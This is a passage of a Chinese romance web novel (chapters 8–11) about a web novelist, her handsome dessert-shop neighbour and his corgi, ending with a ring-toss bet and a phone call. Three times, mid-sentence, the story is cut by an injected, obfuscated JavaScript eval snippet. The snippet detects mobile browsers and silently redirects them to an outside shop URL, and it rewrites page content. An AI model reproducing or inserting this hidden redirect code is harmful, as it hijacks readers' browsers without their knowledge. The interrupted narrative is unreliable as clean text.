“还没,怎么突然把可乐放他家?”程一叙被妈妈问得不明就里,他翻了翻微信消息才发现颜廷宇傍晚给他发过信息,不过被压在最末尾他还没来得及点开看。 程母在那头继续说:“今天下午老家的祠堂出了点问题,我跟你爸赶着回去了,不好带着可乐走,就先拜托庭宇妈妈照顾一下,你这两天看看什么时候有空记得去接,不要麻烦人家太久了。” “好,明天休息我去接。” 程母叮嘱道:“我们有几个星期回不来了,你一个人开店别太累着自己,偶尔也和朋友出去玩玩,知道了吗?” 程一叙失笑,自己都快三十岁了还被妈妈这样不放心也不知道是好事还是坏事,忙应道:“知道啦,你们就放心去吧,我和程一言都好着呢。” 程母嗔一句:”真是这样就好啦!” 她知道自己的儿子一直很让人省心,除了老大不小了也不找个女朋友以外就没有她不满意的地方。挂断电话后却突然觉得,今天他的语气好像和往常有些不一样,好像每句话的尾音都带着笑意,难道有好事将近了? 还没等她细想,电视上就播起了她正在追的古装剧,她便立马抛下这遥遥无期的事情,全身心地投入到电视剧里。 程一叙没着急走,在车里将文档反复看了几遍,再抬头时瞥见后视镜映出自己的脸,眉宇间尽是快要溢出来的雀跃,嘴角的笑意更是藏都藏不住。 真好,原来自己也一点都没变。 - 邬荔有个不好的习惯——拖延。 每次遇到难办的事情她都习惯性地抛之脑后,直到不得不去面对她才会逼自己从寄居蟹一般的壳子里钻出来,再想办法去解决问题。 就像面对程一叙突然向她表白这件事。 她把他的微信设置成免打扰,虽然刚答应完人家可以做朋友,她也知道自己这样的做法实在是不妥当。 但是她需要时间,需要大量的时间去消化这一件荒唐的事情。 这两个星期她也会选择性地回复一点程一叙的信息,比如他发的改良版蓝莓瀑布做得很漂亮,她会慷慨地表达自己的赞赏。 但对于邀请她到店里尝新品的信息,她一般会委婉地拒绝或者发个表情包企图萌混过关。 好在程一叙完全没有刁难她的意思,隔着屏幕邬荔仿佛都能看到那一张帅脸在无奈地笑。 她也是实打实地忙了起来,预计下个月中开始连载的《从乌龙开始心动》正式进入存稿阶段。 邬荔每天都在为小情侣的爱情想破脑袋,只恨自己不能是八爪鱼转世,就凭她的龟速码字速度,经常一天才写出完整的一章。 偏偏女主角是个甜品师,不可避免地会写到各种烘焙场景,纪录片已经无法满足她的想象。 思来想去,邬荔决定亲自动手试试。 就在她看网上各种攻略,搜索着新手小白应该买哪些烘焙用具的时候,那张被她随手扔在书桌上的甜品制作体验卡不知从哪里忽地冒了出来,像是在提醒她让她不要忘了自己的存在。 邬荔捏起卡片的一角,犹豫了三秒钟,还是把它压在工具书的最底下。她又像是觉得不够,把这本书放进书柜的角落。 她想,要是真拿着体验卡去了,她怕自己色令智昏,还没想到剧情先被某人弄得魂不守舍。 “还是得靠自己呀!”邬荔跟着攻略逐一下单必备工具,又买了一堆鸡蛋、低筋粉、牛奶…… 外卖到得很快,她把沉重的袋子放在桌上,心里止不住地跃跃欲试。 邬荔承认程一叙发的蛋糕确实诱惑到她了,但在她还没想清楚之前很难再面不改色地迈进甜品店一步。 “不就是做个蛋糕嘛,人人都能做,我当然也没问题!”邬荔扎起头发,决心要大干一场。 她郑重地把平板放在一旁,点开“戚风蛋糕保姆级教程”开始播放。 “先分离蛋清……” 邬荔拿出一个鸡蛋,磕在桌边的时候不出意外地把蛋黄弄破。 她不自觉皱起眉,暗自给自己打气道:“没事的没事的!再来一次一定可以!” 折腾了十几分钟,成功分离出三个蛋清。 邬荔看着盆里被“浪费”掉的半打鸡蛋,只能拿保鲜膜裹起放进冰箱,留着晚饭做炒鸡蛋吃。 好不容易把蛋黄处理完了,转头还剩最难的蛋清没有动过。 她按着视频里的模样,依葫芦画瓢地拿起打蛋器。 随着“滋——”一声开始,事情的走向开始不受她的控制。 白花花的蛋白并没有像教程里的那样乖巧地变成霜状,而是雪花似的从盆里飞溅出来。 “啊!” 邬荔根本来不及反应,手里的打蛋器这时也不听使唤般怎么也停不下来。 原本干净整洁的厨房瞬间变得一片狼藉,连邬荔的身上头上也没能幸免。 终于关上打蛋器,她赶忙抽出手想要擦拭被蛋白蒙住的眼睛。 不巧就在她抬手的一瞬间,悬在桌边的盆一下子失去支撑,毫不留情地扑向地面。 “哐当!” 这下好了,邬荔一脸生无可恋地低头,现在真是从头到脚都沾满了污渍。 她苦笑着,心说人还是不能想一出是一出,早放下那不值钱的面子现在也不至于落到这种地步…… 邬荔看了眼已经快到一点的时间,才发现自己已经折腾了这么久,肚子也适时地咕咕叫起来。 她草草收拾了一下厨房,随便点了个外卖,就再也忍不住身上的黏腻,飞速跑进浴室洗澡。 水雾在空气中弥漫,邬荔一点点洗掉自己身上的污渍。 狼狈过后她才有力气开始思考,原来做蛋糕真没有看起来那么容易,不知道他第一次做是不是也像我这样糟糕? “不对,怎么又想到他了?”邬荔赶紧掬一捧水泼在脸上,但发散的思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591049|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪却怎么也收不回来。 心里像是有两个精灵在吵架,一个劝她勇敢迈出第一步,说不定爱情就是这样简单。 另一个让她坚守阵地,不能因为对方长得好看就动摇了。 …… 一阵电话铃声响起,骤然将她拉回现实。 “您好,外卖给你放门口了!” “啊,好的好的谢谢。” 邬荔勉强让自己不再去想程一叙的事情,匆匆穿上衣服走出去拿外卖。 门一打开,她先看到的不是自己点的酸辣粉,而是两坨上了腮红的毛茸茸的肥屁股! 不是吧?!这是谁家的狗啊?! 肥嘟嘟的柯基听见声响,头一歪,精准地对上邬荔惊愕的眼神。 它扭着肥嘟嘟的身子,腿虽短动作却极快,瞬间从邬荔打开的门缝中溜进去。 邬荔一回头,它已经一下跃上了沙发,在她家闲逛似的散步。 邬荔迅速捞起自己的外卖,关上门后,一人一狗就这样对视着。 “汪!”柯基朝着她叫了一声。 邬荔正打量着这个不速之客,这只狗显然是有主人的,而且就它的身躯来看,主人肯定对它很好。 但她要上哪去找它的主人呢? “你!乖乖待在沙发上哟!”邬荔掏出手机,对准它按下拍照键,“别着急哈,很快会有人来接你的。” 她把刚拍下的照片发进业主群,留言【谁家的柯基走丢了?我在三栋九楼门口见到的,失主速速来找我认领!】 “你先在我这等等吧。”邬荔没有和狗狗单独相处的经验,虽然这只胖狗看起来手感真的很好,但她不敢盲目撸狗,被咬上一口就得不偿失了。 邬荔见它久久没动,放心地在餐桌上打开来之不易的酸辣粉。 正嗦得起劲,腿边莫名传来痒痒的感觉。 她低头一看,小狗不知什么时候蹲在她脚边,蓬松的毛发轻扫着她的小腿。 她看看碗里的粉,又看看小狗,“你,你也想吃呀?” 小狗像是听懂了她的问题,发出一声洪亮的“汪!” “可是你不能吃我的饭,你等我找找有什么你可以吃的东西好吗?” 小狗见她起身,更是听话地挪了挪屁股。 邬荔翻出为了减肥囤的鸡胸肉,打开前还特意在网上确认过是狗可以吃的食物,这才掰碎了放在碟子里。 “吃吧!” 小狗咧开嘴朝她笑了笑,这才低下头去吃盘子里的肉。 邬荔见它确实乖巧,忍不住伸手摸了摸它的脑袋,“慢慢吃哦~” 她边摸狗头边看业主群的消息,半个小时前发的信息还是没有人回复。 邬荔点开相机对大快朵颐的小狗拍下不少照片,它肥嘟嘟的样子很招人喜欢。 她正欣赏自己拍的微笑小狗,忽然有种莫名的感觉涌上心头。 “诶?怎么感觉好像在哪里看过呢?”她放大照片,仔细看着。 业主群这时终于有人回应—— 【抱歉,是我的狗】 她好像知道这莫名的感觉从何而来,那人的头像和面前笑颜简直一模一样。 很快她又发现不对劲,这头像怎么这么熟悉…… 邬荔心里隐隐有了个答案,但她还是不敢相信。 直到点进头像看到“程一叙”三个字,一切都有了答案。 她不由得感叹道:“世界上怎么会有这么巧的事情啊!” 9. 第九章 邬荔和柯基面面相觑。 一个愁眉苦脸,一个喜笑颜开。 “你笑什么?!”邬荔伸手胡乱薅了把狗头,“早说你主人是程一叙我可不会把你带回家!” “铃铃铃——” 听到门铃响起的那一瞬,邬荔条件反射地起身,一个箭步跑向大门,从猫眼瞄过去。 不出意外地看到程一叙站在门外。 邬荔将门打开一条缝,探出半个脑袋,甩下一句:“等我几分钟!” 然后哐一声把门重重关上。 再打开时,邬荔已经换下了她的居家睡衣,重新套了条连衣裙在身上。 两个人一时相顾无言。 还是程一叙率先开了口:“不好意思打扰到你,给你发的信息你一直没回,我就直接过来了。” 邬荔想到自己设下的免打扰,刚想说的话又咽下去,“哦,我是没怎么注意手机。那个……要不你直接进来吧,狗狗在里面玩。” 程一叙摆手道:“这不太方便,还是麻烦你把可乐带出来吧。” 邬荔了然,准备回头时,想到什么还是忍不住问:“话说,你是怎么知道我住902的?” “你在业主群里有备注。”程一叙又说,“而且另外两个房子没住人。” “这样啊。”邬荔点点头,“那我现在去把它带出来。” 说完便只是把门虚掩着,程一叙在外面能听到邬荔一边拍手一边叫着可乐的名字。 但好像可乐并没有买账。 半晌后,邬荔又从门缝里钻出来,面露难色地说:“它,它不太听我的话,我也不敢强行抱它。” 说罢又把门全打开了,说:“你直接进来吧。” 程一叙没有拒绝,跟在她后面进屋,“要换鞋吗?” 邬荔摇摇头,“不用不用,我家的拖鞋你应该都穿不上。” 程一叙眼底闪过一丝窃喜,低声回了句好。 屋子不大,不到七十平的一室一厅,却胜在温馨。 客厅连着厨房,一眼望去满是少女心的多巴胺装饰,连沙发上的抱枕都是可爱的小动物。 程一叙克制地让目光在房间里游走,不敢多做停留。 “诶?可乐刚才还在这的,怎么一下子就不见了?” 邬荔的话让他重新把视线落回到女孩脸上,未施粉黛的脸颊哪怕戴着黑框眼镜也难掩独有的俏丽。 他还没来得及说什么。 突然,“哐当!”一声巨响从阳台的方向传来。 二人赶忙走过去查看情况。 阳台上,可乐被倒下的花盆吓得一动不敢动。嘴里还叼着强行咬下的花茎,四周尽是被摧残的花瓣。 程一叙三步并作两步走上前,毫不犹豫地提起前一秒还在为非作歹的小胖狗,“胆子肥了是吧?!还敢在别人家捣乱,罚你这个月都没有零食吃了!” 可乐被凶了,再不敢闹,只在喉咙里发出几声呜咽,微弱地表示着自己的抗议。 邬荔见到这画面,忽地觉得眼前这个人有什么不一样了,好像玻璃罩里精美的永生花第一次在她面前真正地绽放。 她知道自己之前为什么总想着拒绝程一叙了,是因为他呈现的一切太过完美,让她不得不去思考这样的人存在的真实性。 但现在她看清了,在她面前的不是一朵没有香味的花,而是会生气会发脾气的人。 “邬荔,是我没管教好可乐,咬坏了的花大概多少钱,我现在转给你。” “啊?”邬荔回神,这才发现脚下踩着的花瓣还混着黑褐色的泥土,刚种下的几盆花都没能幸免于狗嘴下。 “不用了,我这些都是便宜货,值不了几个钱。”她实话实说,当初怕养不活全买的最便宜好养的品种,哪怕整个阳台的花加起来也不过两百块。 程一叙把可乐放在脚边,可乐瓶窝在他身后十分乖巧,然后他摸出手机在屏幕上点了点,说:“还是要的,你看看这些够吗?” 邬荔一头雾水地打开手机,点进和他的聊天框就看到【请收款:2000.00】 邬荔吓得手一抖,好巧不巧地点到收款,橙色的转账记录瞬间变灰。这一瞬,她觉得自己的脸也跟着变灰了。 “那个……这钱我真不应该收的!”邬荔猛地抬起头,急切地解释道:“你给的也太多了,再怎么样我的花也不值两千块啊!我现在就退给你!” 程一叙怎么也没想到邬荔会是这个反应,他没仔细看都知道这样漂亮的小花园一定是很细心照顾的,哪怕只是些普通的小花小草,这个价格对比养花人的用心程度也是合理的。 “没关系的,邬荔。”他伸手压下女孩举起的手机,声音带了些安抚的意味,“不用退,可乐闯下那么大的祸,是我这个做主人的失职。” “可是我受之有愧啊……”邬荔耷拉着脑袋,好像自己和程一叙的联系又深了些,可她却高兴不起来。 一低头,她就瞧见可乐蹲在两人中间,小心翼翼地蹭着邬荔的小腿,又抬起湿漉漉的眼神看着她,满眼都写满了“我知道错了”的样子。 “可是我觉得你的花很重要,你照顾它们的时间也很重要。” “什么?”邬荔不解地抬头。 “或许,你可以拿着这笔钱去买更好更喜欢的花?就当做是我送你的赔罪礼。”程一叙挑挑眉,眼神落在邬荔向上打开的手机屏幕上。 这下邬荔彻底没了办法,收起手机说道:“那我就先收下了,从今天开始我一定多去你的甜品店帮衬!不会让你亏本的!” 看着女孩认真的模样,程一叙嘴角勾起一抹笑,低头对脚边的可乐说:“还不快谢谢姐姐。” 可乐感受到危机解除,一下子又恢复了之前的活泼样子,围着邬荔转圈圈。 邬荔放松地笑了,说道:“这里乱糟糟的,我就不多留你们了,你带着可乐先回去吧。” “那怎么行?”程一叙扫了眼地上的狼藉,“让你一个人处理这些也太说不过去了。” “不用不用,我自己来就好了。” 程一叙闻言却皱起眉,伸手指了指邬荔身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591050|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,说:“你一个人真的可以吗?” 邬荔慌忙回头望去,方才倒下的花盆不知什么时候连带着压垮了木质花架,刚才她的注意力全在可乐身上,竟然没发现本就不牢固的花架已经摇摇欲坠。 “这……” 邬荔大脑空了一瞬,等反应过来的时候,程一叙已经走到花架旁,双手撑起塌垮的部分,回头对她说:“应该是螺丝松了,你家有螺丝刀吗?” “有,有的!”邬荔转身去房间里翻找工具箱。 好不容易找到了,刚想开口,却看见玻璃门外的程一叙被阳台的日照晒得解开了一半衬衫扣子,露出里面的背心。 他摆弄架子的幅度不小,邬荔轻而易举地瞄见老头背心下白得晃眼的皮肤和锁骨下饱满的肌肉。 靠!这也太犯规了吧!她一个母胎solo哪见过这些啊! 邬荔猛地别过脸,一转头就对上可乐的眼睛。 “汪汪!” 它像是看穿了邬荔的心思,蹲在她腿边得意地摇着尾巴。 “你还笑?!忘了你主人刚才怎么凶你的了?”她朝阳台外扬了扬下巴,后者立马收起笑容,蔫蔫地走到客厅角落扒拉着从沙发上掉下来的抱枕玩。 “——找到了吗?” “来啦!”邬荔拿着工具箱小跑过去,“你看看要哪种?” “中间这个,十字的。” “好。” 两人指尖不小心碰在一起,却像触电般迅速分开,若无其事地继续干活。 邬荔拿起扫把收拾地面,偶尔程一叙需要她的时候再去搭把手。 沉默的协作中,尴尬的气氛渐渐被一种微妙的和谐取代。 “差不多了。”邬荔将最后一铲子花泥倒进程一叙撑开的垃圾袋里,然后接过来打了个结。 阳台虽然空旷了不少,但总算是恢复了整洁。太阳也变得温柔,傍晚的余晖给整个阳台罩上一层暖光。 程一叙瞥了眼客厅的时钟,已经快六点了。 邬荔拿纸巾擦着汗,也给程一叙抽了一张递过去。 程一叙接过,说:“时间不早了,一起吃晚饭?” 拒绝的话到了嘴边,可肚子不争气地发出咕噜咕噜的信号,“……好,好啊。” “但我想再换件衣服。”她把完全湿透的纸巾扔进垃圾桶。 “好,我就在隔壁,准备好了随时来找我。”程一叙想叫醒睡得迷迷糊糊的可乐,但它就是赖在地上不肯动。 “看来它好像很喜欢这里。”程一叙仰头看向两步远的邬荔,无可奈何地笑笑。 邬荔跟着蹲下身子,伸手去挠可乐的脑袋,边挠边说:“快起床了~再不起又要被打屁屁咯!” 可乐翻了个身,这才半梦半醒地站起来,最后还是程一叙把它抱在怀里走回家。 刚才还被挤满的小房间一下子空下来,邬荔弯腰捡起地上遗落的一片花瓣,捏在手心里,软塌塌的。 再看向紧闭的大门时,她突然想到,传说中老公孩子热炕头的生活好像也不错…… 10. 第十章 邬荔想着出去随便吃点,就没穿太正式,换了一件休闲的T恤和牛仔裤就出门了。 站在和她家仅有一墙之隔的901门口,忽然想起刚搬进来的时候齐溪说的那个“帅哥邻居”,现在才知道原来那个人是程一叙。 她抬手敲门,很快门就从里面打开了。 “程一……叙?” 邬荔刚开口,却发现开门的不是十分钟前才从她家离开的男人,而是一个五官明艳,一身旗袍还烫着大波浪的女人! 她一下子愣在原地,连心跳都滞了一瞬。 “你是?” “你是?” 二人同时开口。 邬荔第一反应是自己敲错了门,可明明是程一叙亲口告诉她这层楼只住了他们两个人,那就只有一种可能了—— “我就说天上掉馅饼的好事怎么能轮到我?藏这么漂亮的姐姐在家里,狗男人还敢骗我说没谈过恋爱!” 浑身的血液在此刻沸腾起来,她最讨厌说一套做一套的人了! 邬荔刚想质问,一个高大身影突然拢过来。 “妈?站在门口干什么呢?”程一叙凑近才看见邬荔正站在门外,赶忙对她说:“你来了?进来一起吃饭怎么样?” ——妈? 邬荔四十米的大刀差点没收住。 真不怪她眼拙,眼前的程母面容姣好身材火辣,眼神更是带着浑然天成的妩媚,除了眼角不仔细看都看不出来的细纹,真的没一点上年纪的样子。 她嘴角扯出一个尴尬的笑,“阿,阿姨好……” 程母回头看了眼儿子,立马拉过邬荔的手,“你好啊你好啊,快进来吧!” 连拒绝都没办法说出口就已经被程母带进屋内,安置在餐桌的一角。 “就差最后一道菜了,坐这等等马上就好了!”说着还招呼程一叙过来,“快来陪陪你朋友。” 邬荔不断给程一叙使眼色,想让他帮她说几句话好让她脱身,可后者带着无辜的眼神望着她,轻声说:“我给你发微信了,不是你想来的吗?” 邬荔不禁捶胸顿足,发誓等会儿就把他从免打扰里放出来! “我也不知道我妈今天会过来,我刚到家的时候她已经在厨房忙活了。”程一叙悄悄坐得离她近了些,“但想着是先和你约好出去吃饭,就给你发了信息,还以为你不会来了的。” 邬荔一脸生无可恋,想到刚才自己差点以为程一叙是渣男,又强行翘起嘴角朝他笑笑。 程母很快从厨房出来,程一叙也起身去帮忙,白灼虾、清蒸鲈鱼、蒜蓉菜心还有一道玉米排骨汤被端上桌。 “幸好买的菜够多。”程母递给邬荔盛好的白米饭,邬荔连忙道谢。 程母又问:“小姑娘叫什么名字?” 邬荔乖乖回答:“阿姨,我叫邬荔,荔枝的荔。” “那现在是在忙什么工作呀?今年多大啦?跟我们阿叙认识的时间不长吧……” 虽然程母的问题一个接一个,但热切的语气让邬荔放松不少。 “妈!”程一叙夹了块鱼肉放她碗里,“查户口呢?” 程母睨了眼儿子,撇撇嘴,“好了好了,知道了。” 邬荔看他们一唱一和,真心实意地笑了笑,说:“没关系的阿姨。” “我今年二十六岁,目前是自由职业,我跟程一叙之前见过三次但也是今天才知道我们是邻居的。”她看着程母,将刚才的问题一一回答。 “自由职业呀,那具体是做什么的?”程母掩饰不住好奇,但又补上一句,“不方便说也没事的,年轻人嘛,阿姨懂的。” “没有不方便。”邬荔摆摆手,“我是写网络小说的。” “那不就是作家?”程母惊叹道,“这个职业肚子没点墨水可不敢做,小姑娘年少有为啊。” 邬荔被夸得不好意思,腼腆一笑,道:“我没这么厉害,还算不上作家,顶多是个网络写手吧。” 程母瞪大双眼,显然不认同邬荔的观点,刚准备说点什么,碗里又多了一只剥好的虾。 “妈,再不吃饭菜都要冷了。”程一叙说着还往邬荔的碗里也放了一只虾,柔声对她说:“先吃饭吧。” 程母把自家儿子的举动看得一清二楚,见到他终于有了开窍的迹象,这才把心放到肚子里。 “汪!”这时,可乐不知道从哪里冒出来,叼着自己的碗蹲在程一叙脚边。 “少不了你的。”程一叙雨露均沾地剥了只虾放进可乐的狗碗里。 一顿饭的吃得比邬荔想象要和谐,加之程母的手艺确实不错,清清淡淡的菜反而将食物的原汁原味保留地很好,让鲜少吃广东菜的她都赞不绝口。 “阿姨你做饭真好吃!” 程母舀了碗汤,笑着对她说:“我还怕不和你口味呢,今天准备的都是阿叙爱吃的,都不知道你喜欢吃什么?” 邬荔眼睛亮晶晶的,捧着碗点头:“我不挑食的,不过平时比较爱吃辣。” “爱吃辣啊……”程母忽然欲言又止,还不等她开口。 程一叙这时起身说道:“妈,你是不是要回家了?剩下的我来收拾吧。” “这么早我回去干嘛?”程母故意不正眼瞧程一叙,而是对着邬荔说:“你们两个年轻人去带可乐散散步,我留在家里洗碗。” 邬荔放下碗,茫然地看了眼程一叙,发现对方也和她一样无措。 “哎呀,就这么说定了!”程母自顾自地把两人赶到客厅,一个人收拾起餐桌。 程一叙还想和邬荔解释,可乐却自己叼了牵引绳在他们腿边兴奋地摇着尾巴。 “不好意思,我妈好像误会了。”他低头看着邬荔,眼神和语气都是软的,“喜欢你的事情,我谁也没说。一会儿出门你就回家吧,不用跟我们去散步的。” 客厅的灯光把两人温柔的包裹在一起,地上的影子投射出他们交叠在一起的画面,空气里悄悄弥漫起一股难以言说的暧昧。 邬荔微微仰头,眼神却胡乱瞟着,“谁说我要回家了?” “那你想和我一起散步吗?”程一叙追问道。 她没有回答,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591051|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是蹲下从可乐嘴里抽出牵引绳,默默地给它套上。 可她低估了套牵引绳的难度,试了几次都不得章法。 忽然,一双大手从她身侧穿过,稳稳地把几个扣子系好。 两人指尖不可避免地交缠在一起,这次邬荔没有着急避开,她轻声在程一叙的耳畔说:“你妈妈没有误会,她猜的很准,不是吗?” 一瞬间,他们离得那样近,仿佛他一偏头就能吻到她唇上。 女孩清冽的嗓音滑进他耳朵,悄无声息地晃了他的心神。 “还不走吗?” 再回神,邬荔已经站在大门口,和可乐一起朝他招手。 “这就来。” - 三月底的广东踩着春天的尾巴,罕见地吹出几丝凉风。 两人一狗在小区里漫无目的地走着。 可乐被牵引绳拉着仍不肯放弃自己放荡不羁爱自由的天性,邬荔在后面拉着绳子都有些跟不上它的步伐。 “我来吧。”程一叙看出了她的吃力,向她伸出手,“可能它想去外面转转,一起去街心公园吗?” 邬荔从善如流地把绳子递给程一叙,其实她出来散步主要的原因就是没管住嘴,刚才的晚饭吃太多到现在也没消化,于是答应了这个提议。 街心公园离他们小区只有过两个红绿灯的距离,那边虽然人多热闹,但空间肯定是比小区大上不少。 可乐一到公园就止不住开始撒野,邬荔觉得如果狗也能测MBTI,那可乐肯定是绝世大e狗,没过多久就已经认识了不少小狗。 忽然,可乐停在一个灯火通明的摊位前,还不断回头叫他们过来。 邬荔走近一看,是公园里很传统的套圈游戏,不同的是,摆在最高位的是一只和可乐一模一样的黄色柯基。 “它好像很喜欢那个玩偶。”邬荔指着最远处对程一叙说。 程一叙看了眼玩偶,又回头看邬荔,说:“那你呢,你想要吗?” “我?是我的话肯定不要了,可爱是可爱,但摆那么远很明显就是吸引别人砸钱的道具,一看就不容易套中。” 程一叙勾唇笑起,“我觉得可以试试。” “你有这个把握吗?万一套不中呢?” “万一套中了呢?要打赌吗?” 邬荔第六感告诉她这里面有诈,嘴上却还是答应道:“可以啊,如果你套中了,我就答应你一个愿望。” 程一叙笑得更大了,丢下一句,“一言为定。”便把牵引绳塞进邬荔手里,自己跑去和摊位老板买了一把圈套。 一把圈套大概十个左右,程一叙前面试了几次都只套中了柯基玩偶前面的小东西。 邬荔走到他旁边,语气侥幸地安慰他:“就剩最后两次机会了哦,你放心,就算真的套不中我也不会嘲笑你的,毕竟那么多人都—— 诶?套,套中了?!” 邬荔惊奇地瞪大双眼,眼下最高处的柯基玩偶上,正明晃晃地顶着一个橙色的圈套。 “我赢了,准备好实现我的愿望了吗” 11. 第十一章 程一叙的声音盘旋在头顶,像传说中的海妖,轻轻一开口就让人动弹不得。 邬荔僵着身子,一不小心落入他的陷阱。 套着塑料袋的玩偶被摊主从最高处拿下来,笑眯眯地递给邬荔,说:“小姑娘,你男朋友真不简单啊,能套中这个的可不常有。” 邬荔被玩偶塞了个满怀,半晌才反应过来,“老板,他不是……” “老板眼光真好,我也想她是我女朋友,可惜现在还不是。”程一叙在邬荔身后朝摊主方向微微探身,距离控制得很好,可从后面看过去倒像是他环抱着她一样。 邬荔又是一惊,不等她反驳,先听见摊主呵呵笑起来,对程一叙说:“小伙子再加把劲儿,我的眼光一向准得很!” “汪汪!”可乐也跟着附和道。 邬荔拿玩偶挡着脸,悄悄低头瞪了可乐一眼,像是在说怎么你也跟着凑热闹?! 可乐识趣地闭上嘴巴,但嘴角还是高高地翘着。 她的脸颊不自觉地烧起来,赶紧抱着玩偶逃也似地离开这个修罗场。 程一叙赶忙跟上去,走之前还不忘祝摊主生意兴隆。 他们很快往回家的方向走,一路上只有可乐在前面欢脱地奔跑,任由跟在后面的两人共享同一片沉默。 邬荔心里暗暗期待着程一叙会忘记和她的赌约,不是她输不起,而是她担心他会提一些让她没办法答应的愿望。 眼看就要迈入电梯,程一叙果然没有再提起那个“愿望”。 刚走到电梯口,可乐就轻车熟路地跳进程一叙的怀里。 电梯狭小,随行的人也不少。他们被挤在角落,虽然有可乐还有玩偶隔在中间,但邬荔能感觉到他的视线落在她发顶。 那道视线仿佛一团明火,有着她不用抬头也能感受到的炙热和滚烫。 她假装不在意地看着显示屏上的数字不断变动,电梯里的人也越来越少。 终于“9”这个数字跳了出来。 邬荔迫不及待地往外走,偏偏这时候的脚跟不上大脑,没走两步竟然自己绊自己地往前一扑! “呃!”惊呼扼在喉咙里,地面在她眼前不断放大,她绝望地想,程一叙身上是不是有小说男主的系统,不然怎么每次遇见他就自动解锁古早女主的必备场景。 不过这次系统英雄救美的设定好像失灵了,邬荔结结实实地摔出电梯,可她倒在地上却惊奇地发现,“诶?怎么不疼啊?” 身下像是有一团热乎乎的软垫,在她快要和地面亲密接触的时候稳稳接住了她。 “汪……汪……” “!”邬荔看清了那团软垫,赶忙手脚并用地从地上爬起来。 程一叙也赶到她身边扶着她的胳膊,焦急地问:“有没有受伤?” “我没事我没事,快看看可乐有没有被我压到!”她顾不上尴尬,把伏在地上的可乐从头到脚检查了个遍。 好在可乐摔得不重,玩偶也分摊了一部分冲击力,加上可乐皮糙肉厚,只是被压懵了一会儿,很快就恢复了正常。 “可乐你真的太好了!”邬荔捧着可乐的脸,热切地亲上去,看样子已然把它中午还在她家捣乱的事情抛到九霄云外,“等明天我给你买一斤,哦不,十斤的零食!” 可乐欣然享受着美女姐姐的香吻,嘴角都要咧到后脑勺去。 “咳咳。”程一叙抱着手臂,无奈地看着眼前亲作一团的一人一狗,愤愤不平地想,之前的他怎么没有这种好待遇,而且要不是他抱着狗手速慢了一瞬,现在哪还有可乐的事。 “今天刚罚它一个月没有零食的。”他眼神幽怨地看向邬荔,期待着对方的回应。 邬荔抱着可乐起身,眼睛都黏在它身上,“一码归一码嘛,我们的可乐今天是大功臣,对不对?” 好吧,程一叙苦笑着,不明白自己怎么就沦落到和狗争宠的地步。 他弯腰捡起可乐“平替”,同样无人问津的他们在此刻惺惺相惜。 见可乐沉溺在邬荔的怀抱里久久不愿意分开,忍无可忍的他还是决定做一回“恶人”。 “时间不早了,可乐估计今天也累了,要不先让它回去休息?” 可乐在邬荔怀里蹭来蹭去,完全看不出一点累了的样子。 邬荔这才正眼看向程一叙,意识到确实是不早了,朝他点点头又对怀里的可乐说:“我下次再来找你玩啊。”这才依依不舍地把可乐放回地上。 程一叙松了口气,把抱了许久的玩偶递给邬荔,“这个给你,回去记得先洗一洗。” 邬荔眼睛亮晶晶的,接过玩偶跟他道谢,说完就准备开门回家。 突然一只大手横在她眼前,把门框压得死死的。 她不明地看向程一叙,只见那人侧着身子,用只有他们两个人能听见的声音说:“明天来店里好吗?带你实现我的愿望。” 邬荔一愣,原来他还记得。 她紧张地咽了咽口水,磕磕绊绊地问:“是去,做,做什么啊?” 程一叙把手移开,神秘一笑,“做开心的事。”说完他便牵着可乐走进901。 玄关的灯亮起的一瞬,邬荔终于回神。 刚才程一叙的话还在她脑袋里不断回放,她后知后觉地意识到—— 不对啊?怎么又被他给套路了! - 邬荔心里一有事情就睡不着,躺在床上翻来覆去好一会儿还是没有睡意,反而越来越口干舌燥。 她从床上挣扎着起来,慢吞吞地走去客厅倒水喝。路过阳台的时候,却不小心和放在外面晾干的玩偶对视上。 “……” 这下好了,本就不坚定的睡意现在更是雪上加霜。 翌日,邬荔顶着两个大黑眼圈还有晕乎乎的脑袋机械地刷牙洗脸。 一看时间才不过早上十点,她泡了杯咖啡给自己强制开机。 她没忘记和程一叙的约定,现在他们是邻居,说白了抬头不见低头见的,她想躲也躲不掉。 但她本着能拖一会儿是一会儿的心理,决定如果程一叙不主动联系她,那她就等到下午再去甜品店赴约。 邬荔坐定在电脑前,准备把今天要写的细纲再完善一下。 这时手机却响了起来,来电显示是齐溪。 她刚按下接通键,对面激动的声音顺着听筒炸开。 “啊啊啊啊!你猜我们公司接到谁的订单了?” 齐溪在一家活动营销公司上班,在业内还算有名气,一年到头见到的明星数不胜数,邬荔很难想到是什么人能让她这样激动。 